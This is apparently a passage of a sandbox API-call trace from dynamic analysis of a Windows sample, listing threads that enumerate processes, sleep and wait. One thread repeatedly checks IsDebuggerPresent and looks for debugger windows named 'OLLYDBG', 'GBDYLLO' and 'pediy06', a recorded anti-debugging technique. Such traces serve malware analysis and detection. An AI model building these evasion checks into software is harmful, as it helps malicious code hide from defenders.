	[0131.590] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0131.836] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0131.857] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0131.876] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0132.525] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0132.543] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0132.561] Process32First (in: hSnapshot=0x498, lppe=0x19fb08 | out: lppe=0x19fb08*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1

Thread:
	id = 19
	os_tid = 0xcdc


Thread:
	id = 20
	os_tid = 0xca0

	[0098.558] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.422] Sleep (dwMilliseconds=0x7d1) 
	[0107.443] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.497] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.625] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.700] Sleep (dwMilliseconds=0x7d1) 
	[0129.859] Sleep (dwMilliseconds=0x7d1) 
	[0131.924] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 21
	os_tid = 0xc9c

	[0098.558] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.420] Sleep (dwMilliseconds=0x7d1) 
	[0107.442] IsDebuggerPresent () returned 0
	[0107.442] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0107.442] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0107.442] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0107.442] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] IsDebuggerPresent () returned 0
	[0109.485] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0109.485] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0109.485] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0109.485] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] IsDebuggerPresent () returned 0
	[0111.491] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0111.491] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0111.491] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.498] IsDebuggerPresent () returned 0
	[0113.498] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0113.498] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0113.498] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0113.498] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] IsDebuggerPresent () returned 0
	[0115.577] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0115.577] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0115.577] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] IsDebuggerPresent () returned 0
	[0117.590] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0117.590] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0117.590] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0117.590] Sleep (dwMilliseconds=0x7d1) 
	[0119.602] IsDebuggerPresent () returned 0
	[0119.602] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0119.602] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0119.603] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] IsDebuggerPresent () returned 0
	[0121.609] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0121.609] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0121.609] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.624] IsDebuggerPresent () returned 0
	[0123.624] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0123.624] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0123.624] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0123.624] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] IsDebuggerPresent () returned 0
	[0125.691] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0125.691] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0125.691] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] IsDebuggerPresent () returned 0
	[0127.699] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0127.699] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0127.699] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] IsDebuggerPresent () returned 0
	[0129.860] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0129.860] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0129.860] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.923] IsDebuggerPresent () returned 0
	[0131.923] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0131.923] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0131.923] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0131.923] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 22
	os_tid = 0xc88

	[0098.558] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.420] Sleep (dwMilliseconds=0x7d1) 
	[0107.442] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.498] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.624] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.923] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 23
	os_tid = 0xc94

	[0098.558] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.420] Sleep (dwMilliseconds=0x7d1) 
	[0107.442] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.498] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.624] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.923] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 24
	os_tid = 0xc90

	[0098.559] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.420] Sleep (dwMilliseconds=0x7d1) 
	[0107.442] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.498] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.625] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.923] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 25
	os_tid = 0xc8c

	[0098.559] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.419] Sleep (dwMilliseconds=0x7d1) 
	[0107.442] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.498] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.625] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.923] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 26
	os_tid = 0xc54

	[0098.559] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.419] Sleep (dwMilliseconds=0x7d1) 
	[0107.442] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.497] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.625] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.924] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 27
	os_tid = 0xc84

	[0098.559] Sleep (dwMilliseconds=0x7d1) 
	[0100.751] Sleep (dwMilliseconds=0x7d1) 
	[0103.087] Sleep (dwMilliseconds=0x7d1) 
	[0105.419] Sleep (dwMilliseconds=0x7d1) 
	[0107.443] Sleep (dwMilliseconds=0x7d1) 
	[0109.484] Sleep (dwMilliseconds=0x7d1) 
	[0111.491] Sleep (dwMilliseconds=0x7d1) 
	[0113.497] Sleep (dwMilliseconds=0x7d1) 
	[0115.577] Sleep (dwMilliseconds=0x7d1) 
	[0117.589] Sleep (dwMilliseconds=0x7d1) 
	[0119.603] Sleep (dwMilliseconds=0x7d1) 
	[0121.609] Sleep (dwMilliseconds=0x7d1) 
	[0123.625] Sleep (dwMilliseconds=0x7d1) 
	[0125.691] Sleep (dwMilliseconds=0x7d1) 
	[0127.699] Sleep (dwMilliseconds=0x7d1) 
	[0129.860] Sleep (dwMilliseconds=0x7d1) 
	[0131.924] Sleep (dwMilliseconds=0x7d1) 

Thread:
	id = 28
	os_tid = 0xc48

	[0098.559] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0098.564] Sleep (dwMilliseconds=0x0) 
	[0098.564] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0098.620] Sleep (dwMilliseconds=0x0) 
	[0098.621] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0105.608] Sleep (dwMilliseconds=0x0) 
	[0105.609] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0118.540] Sleep (dwMilliseconds=0x0) 
	[0118.541] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0118.590] Sleep (dwMilliseconds=0x0) 
	[0118.590] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.038] Sleep (dwMilliseconds=0x0) 
	[0119.039] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.044] Sleep (dwMilliseconds=0x0) 
	[0119.044] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.093] Sleep (dwMilliseconds=0x0) 
	[0119.094] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.101] Sleep (dwMilliseconds=0x0) 
	[0119.101] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.153] Sleep (dwMilliseconds=0x0) 
	[0119.153] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.153] Sleep (dwMilliseconds=0x0) 
	[0119.153] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.239] Sleep (dwMilliseconds=0x0) 
	[0119.239] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) returned 0x0
	[0119.243] Sleep (dwMilliseconds=0x0) 
	[0119.243] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0xffffffff) 

Thread:
	id = 29
	os_tid = 0xb54

	[0098.559] WaitForSingleObject (hHandle=0x11c, dwMilliseconds=0xffffffff) 

Thread:
	id = 30
	os_tid = 0xc3c

	[0098.560] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) returned 0x0
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) returned 0x0
	[0106.654] Sleep (dwMilliseconds=0x0) 
	[0106.654] WaitForSingleObject (hHandle=0x120, dwMilliseconds=0xffffffff) 

Thread:
	id = 31
	os_tid = 0xc40

	[0098.560] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0098.566] Sleep (dwMilliseconds=0x0) 
	[0098.567] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0105.588] Sleep (dwMilliseconds=0x0) 
	[0105.589] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0107.557] Sleep (dwMilliseconds=0x0) 
	[0107.557] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) returned 0x0
	[0117.665] Sleep (dwMilliseconds=0x0) 
	[0117.665] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0xffffffff) 

Thread:
	id = 32
	os_tid = 0xd6c

	[0098.560] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0098.562] Sleep (dwMilliseconds=0x0) 
	[0098.562] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0105.595] Sleep (dwMilliseconds=0x0) 
	[0105.595] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0105.635] Sleep (dwMilliseconds=0x0) 
	[0105.635] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0118.662] Sleep (dwMilliseconds=0x0) 
	[0118.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0118.662] Sleep (dwMilliseconds=0x0) 
	[0118.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.043] Sleep (dwMilliseconds=0x0) 
	[0119.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.043] Sleep (dwMilliseconds=0x0) 
	[0119.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.191] Sleep (dwMilliseconds=0x0) 
	[0119.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.191] Sleep (dwMilliseconds=0x0) 
	[0119.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.242] Sleep (dwMilliseconds=0x0) 
	[0119.242] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.242] Sleep (dwMilliseconds=0x0) 
	[0119.243] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.289] Sleep (dwMilliseconds=0x0) 
	[0119.290] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.293] Sleep (dwMilliseconds=0x0) 
	[0119.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.294] Sleep (dwMilliseconds=0x0) 
	[0119.294] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.295] Sleep (dwMilliseconds=0x0) 
	[0119.295] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.338] Sleep (dwMilliseconds=0x0) 
	[0119.338] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.342] Sleep (dwMilliseconds=0x0) 
	[0119.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.342] Sleep (dwMilliseconds=0x0) 
	[0119.342] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0
	[0119.343] Sleep (dwMilliseconds=0x0) 
	[0119.343] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) 

Thread:
	id = 33
	os_tid = 0xd78

	[0098.560] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.560] Sleep (dwMilliseconds=0x0) 
	[0098.562] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.569] Sleep (dwMilliseconds=0x0) 
	[0098.569] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) 

Thread:
	id = 34
	os_tid = 0xc44

	[0098.560] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0
	[0098.641] Sleep (dwMilliseconds=0x0) 
	[0098.641] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0
	[0105.501] Sleep (dwMilliseconds=0x0) 
	[0105.501] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) 

Thread:
	id = 35
	os_tid = 0xca4

	[0098.560] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0
	[0098.639] Sleep (dwMilliseconds=0x0) 
	[0098.639] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0
	[0105.603] Sleep (dwMilliseconds=0x0) 
	[0105.603] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) returned 0x0
	[0105.605] Sleep (dwMilliseconds=0x0) 
	[0105.605] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0xffffffff) 

Thread:
	id = 36
	os_tid = 0x438

	[0098.561] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xffffffff) returned 0x0
	[0098.571] Sleep (dwMilliseconds=0x0) 
	[0098.572] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xffffffff) returned 0x0
	[0105.592] Sleep (dwMilliseconds=0x0) 
	[0105.592] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xffffffff) returned 0x0
	[0105.595] Sleep (dwMilliseconds=0x0) 
	[0105.596] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xffffffff) returned 0x0
	[0106.005] Sleep (dwMilliseconds=0x0) 
	[0106.006] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xffffffff) returned 0x0
	[0106.652] Sleep (dwMilliseconds=0x0) 
	[0106.652] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xffffffff) 

Thread:
	id = 37
	os_tid = 0xb0

	[0098.561] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0
	[0098.606] Sleep (dwMilliseconds=0x0) 
	[0098.607] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.598] Sleep (dwMilliseconds=0x0) 
	[0105.598] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0
	[0105.632] Sleep (dwMilliseconds=0x0) 
	[0105.633] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0
	[0122.573] Sleep (dwMilliseconds=0x0) 
	[0122.576] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) returned 0x0
	[0122.581] Sleep (dwMilliseconds=0x0) 
	[0122.581] WaitForSingleObject (hHandle=0x13c, dwMilliseconds=0xffffffff) 

Thread:
	id = 38
	os_tid = 0xcc0

	[0098.561] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0
	[0098.565] Sleep (dwMilliseconds=0x0) 
	[0098.565] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0
	[0098.572] Sleep (dwMilliseconds=0x0) 
	[0098.572] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0
	[0105.999] Sleep (dwMilliseconds=0x0) 
	[0105.999] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) returned 0x0
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) 

Thread:
	id = 39
	os_tid = 0xcbc

	[0098.561] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0
	[0105.487] Sleep (dwMilliseconds=0x0) 
	[0105.487] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0
	[0106.653] Sleep (dwMilliseconds=0x0) 
	[0106.653] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0
	[0118.458] Sleep (dwMilliseconds=0x0) 
	[0118.458] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0
	[0118.458] Sleep (dwMilliseconds=0x0) 
	[0118.458] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0
	[0122.577] Sleep (dwMilliseconds=0x0) 
	[0122.578] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) returned 0x0
	[0122.578] Sleep (dwMilliseconds=0x0) 
	[0122.578] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xffffffff) 

Thread:
	id = 40
	os_tid = 0xcac

	[0098.562] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0098.607] Sleep (dwMilliseconds=0x0) 
	[0098.607] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0098.632] Sleep (dwMilliseconds=0x0) 
	[0098.633] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0105.600] Sleep (dwMilliseconds=0x0) 
	[0105.600] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0118.584] Sleep (dwMilliseconds=0x0) 
	[0118.584] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0118.584] Sleep (dwMilliseconds=0x0) 
	[0118.585] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0118.651] Sleep (dwMilliseconds=0x0) 
	[0118.651] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0118.663] Sleep (dwMilliseconds=0x0) 
	[0118.663] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0119.100] Sleep (dwMilliseconds=0x0) 
	[0119.100] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0119.100] Sleep (dwMilliseconds=0x0) 
	[0119.100] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0119.142] Sleep (dwMilliseconds=0x0) 
	[0119.142] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0119.154] Sleep (dwMilliseconds=0x0) 
	[0119.154] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0119.188] Sleep (dwMilliseconds=0x0) 
	[0119.188] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0119.192] Sleep (dwMilliseconds=0x0) 
	[0119.192] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0122.578] Sleep (dwMilliseconds=0x0) 
	[0122.578] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) returned 0x0
	[0122.580] Sleep (dwMilliseconds=0x0) 
	[0122.580] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0xffffffff) 

Thread:
	id = 41
	os_tid = 0xcb4

	[0098.562] WaitForSingleObject (hHandle=0x14c, dwMilliseconds=0xffffffff) 

Thread:
	id = 42
	os_tid = 0xcb8

	[0098.562] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0
	[0105.594] Sleep (dwMilliseconds=0x0) 
	[0105.594] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0
	[0105.608] Sleep (dwMilliseconds=0x0) 
	[0105.608] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0
	[0105.610] Sleep (dwMilliseconds=0x0) 
	[0105.610] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0
	[0106.000] Sleep (dwMilliseconds=0x0) 
	[0106.000] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) 

Thread:
	id = 43
	os_tid = 0xcc8

	[0098.562] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0xffffffff) returned 0x0
	[0098.570] Sleep (dwMilliseconds=0x0) 
